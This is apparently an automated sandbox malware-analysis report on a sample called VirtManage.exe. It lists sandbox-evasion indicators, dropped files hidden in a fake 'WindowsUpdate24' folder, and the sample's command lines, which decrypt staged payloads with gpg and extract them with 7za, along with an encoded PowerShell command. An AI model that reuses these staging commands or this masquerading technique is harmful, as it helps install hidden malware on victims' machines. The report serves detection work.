Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\whoami.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
.NET source code contains a domain name check
Source: 35.2.powershell.exe.209ded00000.1.raw.unpack, MqVvxIfGQaR.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: 35.2.powershell.exe.209c7334da8.0.raw.unpack, MqVvxIfGQaR.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: r5i403kd.dll.40.dr, MqVvxIfGQaR.cs.Net Code: string.Format("{0} {1}\\{2}", Environment.GetEnvironmentVariable("COMPUTERNAME"), Environment.GetEnvironmentVariable("USERDOMAIN"), Environment.GetEnvironmentVariable("USERNAME"))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\VirtManage.exeWindow / User API: threadDelayed 1308Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6880
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2890
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8119
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1517
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsl1C60.tmp\nsis7z.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4C79.tmpJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\WindowsUpdate24\gpg-agent.exeJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dllJump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.dllJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeDropped PE file which has not been started: C:\ProgramData\Microsoft\WindowsUpdate24\7za.dllJump to dropped file
Source: C:\Users\user\Desktop\VirtManage.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsl1C60.tmp\nsExec.dllJump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSI4796.tmpJump to dropped file
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeAPI coverage: 0.3 %
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeAPI coverage: 0.2 %
Source: C:\Users\user\Desktop\VirtManage.exe TID: 932Thread sleep time: -130800s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688Thread sleep count: 6880 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688Thread sleep count: 2890 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5272Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292Thread sleep count: 8119 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320Thread sleep count: 1517 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5516Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,2_2_004CC650
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,4_2_004CC650
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: 968B3FD3385208B479FE43CC__F5E8C90CE968B3FD3385208B479FE43CVMware.Binding.WsTrust1.0.0.0{4B1FEDDD-E8BD-8A4B-41BF-2D55E4FD9D86}VMWARE~1.DLL|VMware.Binding.WsTrust.dll_FD9BA260F6E682E262FA42F3C05C6925C__FD9BA260F6E682E262FA42F3C05C6925log4net669E0DDF0BB1AA2A2.0.15.0{2FA634FE-D1FF-771A-58EB-507FF9A0FFBB}LOG4NET.DLL|log4net.dllSourceDir[ProgramFilesFolder][Manufacturer]\[ProductName]DIRCA_TARGETDIRTARGETDIR=""{6DD554EC-2D48-B234-25FF-6CF5942A837D}C__70867F2D6BE94247A3BF24C2A1A54D81.:USER'S~1|User's Programs Menu
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000023.00000002.2948424996.00000209C6A94000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: gpg.exe, 0000000B.00000002.1196196466.0000000000898000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
Source: VirtManage.exe, 00000000.00000003.1316964020.0000000002ACB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DV@
Source: gpg.exe, 00000006.00000002.1141654444.0000000000898000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: powershell.exe, 00000026.00000002.1548555787.0000019201B1A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: gpg.exe, 00000002.00000002.1130306113.00000000000E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
Source: w32tm.exe, 00000012.00000002.1232529476.00000265CC266000.00000004.00000020.00020000.00000000.sdmp, gpg.exe, 00000013.00000002.1246130262.00000000007B8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: gpg.exe, 00000004.00000002.1135933979.0000000000928000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld
Source: C:\Users\user\Desktop\VirtManage.exeAPI call chain: ExitProcess graph end nodegraph_0-3628
Source: C:\Users\user\Desktop\VirtManage.exeAPI call chain: ExitProcess graph end nodegraph_0-3779
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004014F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,2_2_004014F0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\whoami.exeProcess token adjusted: Debug
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00401170 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,_cexit,exit,2_2_00401170
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004011B3 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,2_2_004011B3
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00401170 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,_cexit,exit,4_2_00401170
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004011B3 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,4_2_004011B3

HIPS / PFW / Operating System Protection Evasion

barindex
Encrypted powershell cmdline option found
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: Base64 decoded 6h,Vw~{n$j{]IUjnW"Ui^-UnxGi-zeZ&^rZ$x*&Lzfh^--%Z&ZjgGMjg$x^V{V'jwHjnWyUj["{ftg1zzn7jnWj[5)txxGru1.*'jwSgez^gX(b-zeZ&j[B)]"Ui^]Vm9rUi^UnxzXzy`5"{!VxEZ+b:&
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: Base64 decoded 6h,Vw~{n$j{]IUjnW"Ui^-UnxGi-zeZ&^rZ$x*&Lzfh^--%Z&ZjgGMjg$x^V{V'jwHjnWyUj["{ftg1zzn7jnWj[5)txxGru1.*'jwSgez^gX(b-zeZ&j[B)]"Ui^]Vm9rUi^UnxzXzy`5"{!VxEZ+b:&
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.dll --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\1FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\2FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpgJump to behavior
